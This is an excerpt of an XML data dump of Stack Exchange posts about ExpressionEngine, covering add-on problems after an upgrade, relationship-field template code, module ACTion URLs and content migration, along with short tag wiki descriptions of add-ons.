  <row Id="13011" PostTypeId="1" CreationDate="2013-08-22T09:10:07.043" Score="4" ViewCount="250" Body="&lt;p&gt;I've just upgraded from EE 2.5.3 to 2.6.1 and am fighting through all the damage it's done to my site. &#xA;At the moment I'm stuck on the seeming failure of WYGWAM (3.1.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having the same issue which is mentioned &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12467/wygwam-field-dissapearing&quot;&gt;here&lt;/a&gt; but which wasn't resolved in a public or global way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether editing existing content, creating new content, or even creating a new field group and channel and then creating new content with that, I see the same behavior:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The WYGWAM field flashes once quickly (blank white for new content, white with raw source content visible for existing content) and then disappears to show only the grey background of the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My production site still uses WYGWAM 2.3.5 but there is no evidence of a skin.js file in that package, so that &quot;fix&quot; mentioned in another post is not applicable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody have any ideas where I can look, or what I can do to debug this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't yet tried un-installing and reinstalling, because there doesn't seem to be a way to do that without losing all the data, which I very much want to avoid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&lt;strong&gt;brief update&lt;/strong&gt;: just discovered that WYGWAM 3.1.2 is available. Installed it, problem remains.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Sorry, forgot to list my installed addons]&#xA;ab_pagination, assets, ce_cache, ce_str, child_categories, force_ssl, freeform, matrix, my_title_control, playa, primary_category, sitemap, str_rexp, taggable, tagstripper, trunchtml, url_encode, wygwam&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andy&lt;/p&gt;&#xA;" OwnerUserId="1922" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-08-23T07:31:41.243" Title="Why is WYGWAM failing after upgrade" Tags="|wygwam|ee2-upgrades|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13012" PostTypeId="5" CreationDate="2013-08-22T09:13:00.030" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-08-22T09:13:00.030" LastActivityDate="2013-08-22T09:13:00.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13013" PostTypeId="4" CreationDate="2013-08-22T09:13:00.030" Score="0" Body="Uniform (or Universal) Resource Locator, the address of a World Wide Web page.&#xD;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-22T12:40:53.003" LastActivityDate="2013-08-22T12:40:53.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13014" PostTypeId="5" CreationDate="2013-08-22T09:21:51.880" Score="0" Body="&lt;p&gt;Is an acronym for &quot;What You See Is What You Get&quot; and generally refers to Text Editors providing Rich Text capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine has a built-in &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/rte/index.html&quot; rel=&quot;nofollow&quot;&gt;Rich Text&lt;/a&gt; FieldType which provides this functionality. There are also several popular alternative add-ons which can be used to provide an enhanced experience such as &lt;a href=&quot;http://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow&quot;&gt;Wygwam&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/editor&quot; rel=&quot;nofollow&quot;&gt;Editor&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-22T12:40:35.847" LastActivityDate="2013-08-22T12:40:35.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13015" PostTypeId="4" CreationDate="2013-08-22T09:21:51.880" Score="0" Body="Is an acronym for &quot;What You See Is What You Get&quot; and generally refers to Text Editors providing Rich Text capabilities." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-22T12:40:55.567" LastActivityDate="2013-08-22T12:40:55.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13016" PostTypeId="5" CreationDate="2013-08-22T09:25:11.957" Score="0" Body="&lt;p&gt;CE Image is a commercial add-on which provides image manipulation tools for use within ExpressionEngine templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CE Image is an image manipulation tool for use in your&#xA;  ExpressionEngine® templates. It is feature-packed, and allows you to&#xA;  manipulate images with very simple syntax. It is one of the highest&#xA;  rated and most reviewed ExpressionEngine® add-ons on the market.&#xA;  Hundreds of EE developers have trusted their image needs to CE Image.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More information can be found on the Causing Effect &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-22T12:40:45.973" LastActivityDate="2013-08-22T12:40:45.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13017" PostTypeId="4" CreationDate="2013-08-22T09:25:11.957" Score="0" Body="CE Image is a commercial add-on which provides image manipulation tools for use within ExpressionEngine templates." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-22T12:40:16.393" LastActivityDate="2013-08-22T12:40:16.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13018" PostTypeId="5" CreationDate="2013-08-22T09:28:37.753" Score="0" Body="&lt;p&gt;CE Cache is a commercial add-on which allows you to cache template parts to improve overall website performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CE Cache allows you to store and retrieve parts of your templates&#xA;  (fragment caching) so they don’t have to be run each time the page is&#xA;  loaded. Since much of the heavy lifting doesn’t have to be run on each&#xA;  page-load, your performance increases can be astonishing.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;As of version 1.8, CE Cache also supports full-page (static) caching.&#xA;  The static driver, which caches entire pages, uses a combination of&#xA;  file-based caching and .htaccess magic to serve your pages. This&#xA;  allows the cached files to completely circumvent ExpressionEngine®,&#xA;  and to render very quickly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More information can be found at the Causing Effect &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-22T12:40:20.317" LastActivityDate="2013-08-22T12:40:20.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13019" PostTypeId="4" CreationDate="2013-08-22T09:28:37.753" Score="0" Body="CE Cache is a commercial add-on which allows you to cache template parts to improve overall website performance." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-22T12:40:24.423" LastActivityDate="2013-08-22T12:40:24.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13020" PostTypeId="5" CreationDate="2013-08-22T09:43:33.957" Score="0" Body="&lt;p&gt;Switchee is a free add-on which provides switch/case control logic in your templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With EEs if/else advanced conditionals, each condition is parsed&#xA;  before being removed at the end of the template parsing process. This&#xA;  means if you wrap if/else tags around lots of other tags then your&#xA;  template will be running many unnecessary queries and functions.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Using Switchee instead you can ensure that unmatched conditions are&#xA;  removed from the template before they can be parsed. This can make&#xA;  your template significantly more efficient and your pages will render&#xA;  more quickly. Switchee allows you to use regular expressions to&#xA;  perform advanced matching on case conditions. Like PHPs switch/case,&#xA;  Switchee supports a default value.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For more information, or to download the add-on visit &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Devot:ee&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-22T12:41:03.460" LastActivityDate="2013-08-22T12:41:03.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13021" PostTypeId="4" CreationDate="2013-08-22T09:43:33.957" Score="0" Body="Switchee is a free add-on which provides switch/case control logic in your templates." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-22T12:40:43.317" LastActivityDate="2013-08-22T12:40:43.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13022" PostTypeId="5" CreationDate="2013-08-22T09:46:56.673" Score="0" Body="&lt;p&gt;Membrr is a commercial add-on that provides subscription billing and membership website features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a full overview of features visit the &lt;a href=&quot;http://www.membrr.com/features&quot; rel=&quot;nofollow&quot;&gt;Membrr&lt;/a&gt; website.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-22T12:40:38.473" LastActivityDate="2013-08-22T12:40:38.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13023" PostTypeId="4" CreationDate="2013-08-22T09:46:56.673" Score="0" Body="Membrr is a commercial add-on that provides subscription billing and membership website features." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-22T12:40:26.770" LastActivityDate="2013-08-22T12:40:26.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13024" PostTypeId="5" CreationDate="2013-08-22T09:50:20.250" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-08-22T09:50:20.250" LastActivityDate="2013-08-22T09:50:20.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13025" PostTypeId="4" CreationDate="2013-08-22T09:50:20.250" Score="0" Body="ExpressionEngine version 2.5.5." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-22T12:41:00.770" LastActivityDate="2013-08-22T12:41:00.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13026" PostTypeId="5" CreationDate="2013-08-22T09:58:21.313" Score="0" Body="&lt;p&gt;Pixel &amp;amp; Tonic Checkboxes is a FieldType which provide an enhanced feature set over the standard ExpressionEngine Checkbox FieldType. It comes as part of the freely available add-on &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;Field Pack&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-22T12:40:40.817" LastActivityDate="2013-08-22T12:40:40.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13027" PostTypeId="4" CreationDate="2013-08-22T09:58:21.313" Score="0" Body="Pixel &amp; Tonic Checkboxes is a freely available FieldType which provide an enhanced feature set over the standard ExpressionEngine Checkbox FieldType." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-22T12:40:49.613" LastActivityDate="2013-08-22T12:40:49.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13028" PostTypeId="1" CreationDate="2013-08-22T10:00:13.667" Score="4" ViewCount="540" Body="&lt;p&gt;I can not run the relationship feature since upgrading to 2.6.1. &#xA;I've searched through he forums and I found similar issues, but the answers there didn't help me, so I'm posting my question here. Sorry if I duplicate anything.&#xA;I have a channel called &quot;noticies&quot; with a field that relates inputs of the same channel. The channel field is single relationship called &quot;noticies_relacionades&quot;&#xA;My code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  status=&quot;not closed&quot;}&#xA;…&#xA;    {if noticia_relacionada}&#xA;     &amp;lt;div class=&quot;well well-small&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;blau-fosc bottom&quot;&amp;gt;TAMBÉ ET POT INTERESSAR&amp;lt;/p&amp;gt;&#xA;          {noticia_relacionada}&#xA;              &amp;lt;h4 class=&quot;top&quot;&amp;gt;&#xA;                 &amp;lt;a href=&quot;{title_permalink=&quot;noticies/article&quot;}&quot; target=&quot;_top&quot; title=&quot;{title}&quot;&amp;gt;&#xA;                    &amp;lt;i class=&quot;icon-arrow-right&quot; style=&quot;padding-top: 2px;&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                    {noticia_relacionada:title}&#xA;                 &amp;lt;/a&amp;gt;&#xA;              &amp;lt;/h4&amp;gt;&#xA;           {/noticia_relacionada}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. Any help is wellcome.&lt;/p&gt;&#xA;" OwnerUserId="1394" LastActivityDate="2014-06-20T04:35:02.317" Title="Relationship: what I'm doing wrong?" Tags="|channel-entries|relationships|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13029" PostTypeId="1" AcceptedAnswerId="13031" CreationDate="2013-08-22T10:09:12.813" Score="2" ViewCount="1062" Body="&lt;p&gt;I am developing a module that uses Paypal's IPN callback. So in my module code I need to put in the IPN URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in EE the module is called using template tags, so it could be accessed by any URL that any EE developer decides to put the module on (the template group and name).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to call the module without going through the EE template group and name? e.g. www.mydomain.co.uk/mymodule/paypalipn&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could probably still pass the IPN URL depending on what template we are on, but I am also only allowing logged in users to access this module, but the IPN should not be for logged in users. The login script is controlled in the template. I dont want to have to write conditionals in the template whether its the IPN method or not. Hope that makes sense!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-08-22T11:52:17.020" Title="Is it possible to access an Expression Engine module on a standalone URL, outside the EE template system?" Tags="|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13030" PostTypeId="2" ParentId="13028" CreationDate="2013-08-22T11:42:26.157" Score="2" Body="&lt;p&gt;One change I would recommend is to the structure. Try something like this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  status=&quot;not closed&quot;}&#xA;{if noticia_relacionada:count == &quot;1&quot;}&#xA; &amp;lt;div class=&quot;well well-small&quot;&amp;gt;&#xA;    &amp;lt;p class=&quot;blau-fosc bottom&quot;&amp;gt;TAMBÉ ET POT INTERESSAR&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;      {noticia_relacionada}&#xA;          &amp;lt;h4 class=&quot;top&quot;&amp;gt;&#xA;             &amp;lt;a href=&quot;{title_permalink=&quot;noticies/article&quot;}&quot; target=&quot;_top&quot; title=&quot;{title}&quot;&amp;gt;&#xA;                &amp;lt;i class=&quot;icon-arrow-right&quot; style=&quot;padding-top: 2px;&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                {noticia_relacionada:title}&#xA;             &amp;lt;/a&amp;gt;&#xA;          &amp;lt;/h4&amp;gt;&#xA;       {/noticia_relacionada}&#xA;{if noticia_relacionada:count == noticia_relacionada:total_results}&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A relationship field is a bit different than a regular text field - and so the most practical way to handle the conditional around whether it has any entries within it is to use the loop itself - since it won't return results if no entries (related entries) exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not certain if this will solve whatever issue it is that you're facing since you haven't described what's not working about it - but I thought I'd make that recommendation regardless.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-22T11:42:26.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13031" PostTypeId="2" ParentId="13029" CreationDate="2013-08-22T11:52:17.020" Score="4" Body="&lt;p&gt;Yes via ACTion URLs, tutorial &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically in your install method (in your upd. file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //###   Create ACTion IDs for the relevant functions   ###&#xA;    $formActions = array(&#xA;        &quot;YOUR-METHOD-NAME&quot;&#xA;    );&#xA;    foreach ($formActions as $method) {&#xA;        $data = array(&#xA;            'class' =&amp;gt; $this-&amp;gt;class,&#xA;            'method' =&amp;gt; $method&#xA;        );&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('actions', $data);&#xA;    }//###   End of foreach&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This then creates Action ID that will trigger your modules method (in mod. file) - see exp_actions table for other ACTion IDs for other modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some modules display the ACT URL in the backend settings (e.g. for setting up a cronjob), others will have a frontend tag that will output the link, either way get the ACTion ID like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$actionID = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;fetch_action_id(__CLASS__, 'YOUR-METHOD-NAME');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Typically a URL will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.your-domain-name.com?ACT=45&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can also be done via POST data (so {site_url} for the form action and hidden field for ACT value).&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-08-22T11:52:17.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13032" PostTypeId="1" AcceptedAnswerId="13033" CreationDate="2013-08-22T12:12:00.207" Score="2" ViewCount="444" Body="&lt;p&gt;Looking to clean up an EE-installation used for playing etc for some years now, and move relevant content (channels) into a complete new installation.&#xA;Any thoughts on tools or methods for doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only &quot;specials&quot; used are Channel Images and Tagger from DevDemon.&#xA;Both old and new sites will be MSM, but only main site to be exported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferred workflow:&#xA;Set up new EE-installation&#xA;Install relevant plugins etc&#xA;Create relavant channels etc&#xA;--Import data from old site&#xA;Change DNS to new site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channels, Configs, Variables, Templates etc I'll do manually but it would be nice to be able to transfer content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/patrick&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2013-08-22T12:29:48.347" Title="Moving content to new installation" Tags="|multi-site-manager|channel-images|export|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13033" PostTypeId="2" ParentId="13032" CreationDate="2013-08-22T12:29:48.347" Score="3" Body="&lt;p&gt;There are two steps here. First, getting the data out of the first install. And second, getting it back into the new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For exporting, there's a number of routes you can take. Since you're relying on some fieldtypes that use their own tables, the easiest route might be to create an XML template for each channel. That will allow you the flexibility to use the template parser to output those fields. A pretty simple &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pair will output all of the entries as XML nodes. (You could use JSON instead, but I've found that it's easier to output XML from a template.) I've also written custom scripts that run against the EE database to create the XML files. Obviously, that requires a bit more work to prepare the queries joining all the necessary tables and parsing the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For importing, I highly recommend &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;Datagrab&lt;/a&gt;. It's very flexible with importing and works with a number of fieldtypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also Solspace Importer, but I don't have any experience with that tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One last tip: Make sure you create a field in each channel of the new site to hold the old entry ID. This will allow you to easily update all the entries you just imported if some of the data doesn't come through right. You can just configure Datagrab to match based off of the old ID, and it will know to update the entry instead of create a new on.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-08-22T12:29:48.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13034" PostTypeId="2" ParentId="12997" CreationDate="2013-08-22T12:30:49.000" Score="0" Body="&lt;p&gt;form:action must point to a page that runs the index.php.&#xA;If you want to run an additional script, try using the form:onsubmit parameter.&#xA;&lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#form_attribute_name&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#form_attribute_name&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-22T12:30:49.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13035" PostTypeId="1" CreationDate="2013-08-22T13:36:12.843" Score="2" ViewCount="296" Body="&lt;p&gt;I am using supersearch module, here is link for doc of its &lt;a href=&quot;http://www.solspace.com/docs/super_search&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/super_search&lt;/a&gt;. Actually I am facing a problem that is to get records group by.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this module i dont know how to get the entries group by channel. I want the entries result group by its channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code: Search :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;{path='search/results'}/&quot; style=&quot;padding-top: 15px;&quot;&amp;gt;&#xA;    {exp:super_search:search} &#xA;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; value=&quot;&quot; style=&quot;height: 31px;&quot;/&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Search&quot; /&amp;gt;&#xA;&#xA;    {/exp:super_search:search}&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results paginate=&quot;both&quot; limit=&quot;10&quot;}&#xA;&#xA;{channel_name}&amp;lt;br/&amp;gt;&#xA;{title} &amp;lt;br/&amp;gt;&#xA;&#xA;{paginate}&amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;{/paginate} &#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there are 5 channel in my project and each channel having at least 15 records. I want all record group by channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody tell how can I get the records what I exactly wants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my bad English Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And Yes I want the Records like below mention : [if possible please suggest for the same]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Channel -1 --entry-1 --entry-2 --entry-3 --entry-4&#xA;&#xA;Channel -2 --entry-1 --entry-2 --entry-3&#xA;&#xA;Channel -3 --entry-1 --entry-2 --entry-3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Continuous like this..&lt;/p&gt;&#xA;" OwnerUserId="1937" LastActivityDate="2013-10-26T17:02:19.687" Title="expression engine super search module : group by issue" Tags="|search|query|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13036" PostTypeId="2" ParentId="12988" CreationDate="2013-08-22T14:02:36.390" Score="1" Body="&lt;p&gt;Are you using the {websafe_tag} param to create your links? &lt;a href=&quot;http://www.solspace.com/docs/tag/tags/#websafe_tag&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/tag/tags/#websafe_tag&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user550" LastActivityDate="2013-08-22T14:02:36.390" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13038" PostTypeId="1" AcceptedAnswerId="18965" CreationDate="2013-08-22T15:02:43.467" Score="0" ViewCount="77" Body="&lt;p&gt;I've got this bit of code where I'm trying to get member custom field information. when I use member_id=&quot;41&quot; nothing is rendered. Anyone know why?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data member_id=&quot;41&quot;}&#xA;&amp;lt;p&amp;gt;{given_name} {family_name}&#xA;  {if company_name != &quot;&quot;}&amp;lt;br /&amp;gt;{company_name}{/if}&amp;lt;/p&amp;gt;&#xA;&amp;lt;hr /&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;{bbr-mls-common-location}&amp;lt;/h4&amp;gt;&#xA;    {exp:channel:entries channel=&quot;event_locales&quot; search:city_name=&quot;{locale_name}&quot; limit=&quot;1&quot;}&#xA;&#xA;      &amp;lt;p&amp;gt;{venue_address}&amp;lt;br /&amp;gt;&amp;lt;a href=&quot;{venue_website}&quot; target=&quot;_blank&quot;&amp;gt;{venue_website}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/exp:channel:entries}&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;    &amp;lt;h4&amp;gt;{bbr-mls-common-session}&amp;lt;/h4&amp;gt;&#xA;    {exp:channel:entries channel=&quot;locale_slots&quot; entry_id=&quot;{locale_slot}&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;p&amp;gt;&#xA;      {if language_code == &quot;en&quot;}&#xA;        {start_date_time format=&quot;%F %j&quot;}&#xA;      {if:else}&#xA;        {start_date_time format=&quot;%j&quot;} au {end_date_time format=&quot;%j&quot;}&#xA;        {if '{start_date_time format=&quot;%F&quot;}' == &quot;September&quot;} septembre {/if}&#xA;        {if '{start_date_time format=&quot;%F&quot;}' == &quot;October&quot;} octobre {/if}&#xA;        {if '{start_date_time format=&quot;%F&quot;}' == &quot;November&quot;} novembre {/if}&#xA;        {if '{start_date_time format=&quot;%F&quot;}' == &quot;December&quot;} decembre {/if}&#xA;      {/if}&#xA;      &amp;lt;br /&amp;gt;&#xA;      {start_date_time format=&quot;%g:%i%a&quot;} - {end_date_time format=&quot;%g:%i%a&quot;}&#xA;    &amp;lt;/p&amp;gt;&#xA;    {/exp:channel:entries}&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1351" LastEditorUserId="153" LastEditDate="2014-02-01T03:13:03.403" LastActivityDate="2014-02-01T03:13:03.403" Title="MX Notify - Freemember - Custom Profile_data" Tags="|member-management|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13039" PostTypeId="1" AcceptedAnswerId="13090" CreationDate="2013-08-22T15:04:36.030" Score="0" ViewCount="154" Body="&lt;p&gt;The site I'm working on has multiple upload directories with different permissions on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content administrator is building public-facing pages and including PDFs via the page's Wygwam field, but by default Wygwam is selecting the first upload directory the content administrator has access to, which is not a public file directory (e.g. it selects &quot;Private&quot; instead of &quot;Public&quot;, presumably because it appears first alphabetically).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way in my Wygwam field to specify what upload directories it can use, like in a file custom field? If there is, I'm not seeing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tim&lt;/p&gt;&#xA;" OwnerUserId="1745" LastActivityDate="2013-08-23T09:21:04.743" Title="Restrict Upload Directories in Wygwam field" Tags="|wygwam|file-uploads|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13040" PostTypeId="1" AcceptedAnswerId="13041" CreationDate="2013-08-22T15:23:01.350" Score="1" ViewCount="1612" Body="&lt;p&gt;I am using EE 2.6.1 with a relationship field. The two entries in the venue related entry (telephone and email) are not mandatory fields, so the way I would usually do it is wrap it in an if statement and only display if the field is populated. Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;contact-details&quot;&amp;gt;&#xA;            {if course-venue:telephone}&amp;lt;p&amp;gt;Telephone: {course-venue:telephone}&amp;lt;/p&amp;gt;{/if}&#xA;            {if course-venue:venue-email}&#xA;                &amp;lt;p&amp;gt;Email: {encode=&quot;{course-venue:venue-email}&quot; title=&quot;{course-venue:venue-email}&quot;}&amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem is that EE's native relationships field doesn't seem to work this way, does anyone know how I can achieve the same result? This just displays nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2013-08-22T15:30:12.090" Title="Conditionally display a field from a related entry if it's not empty (native relationships field)" 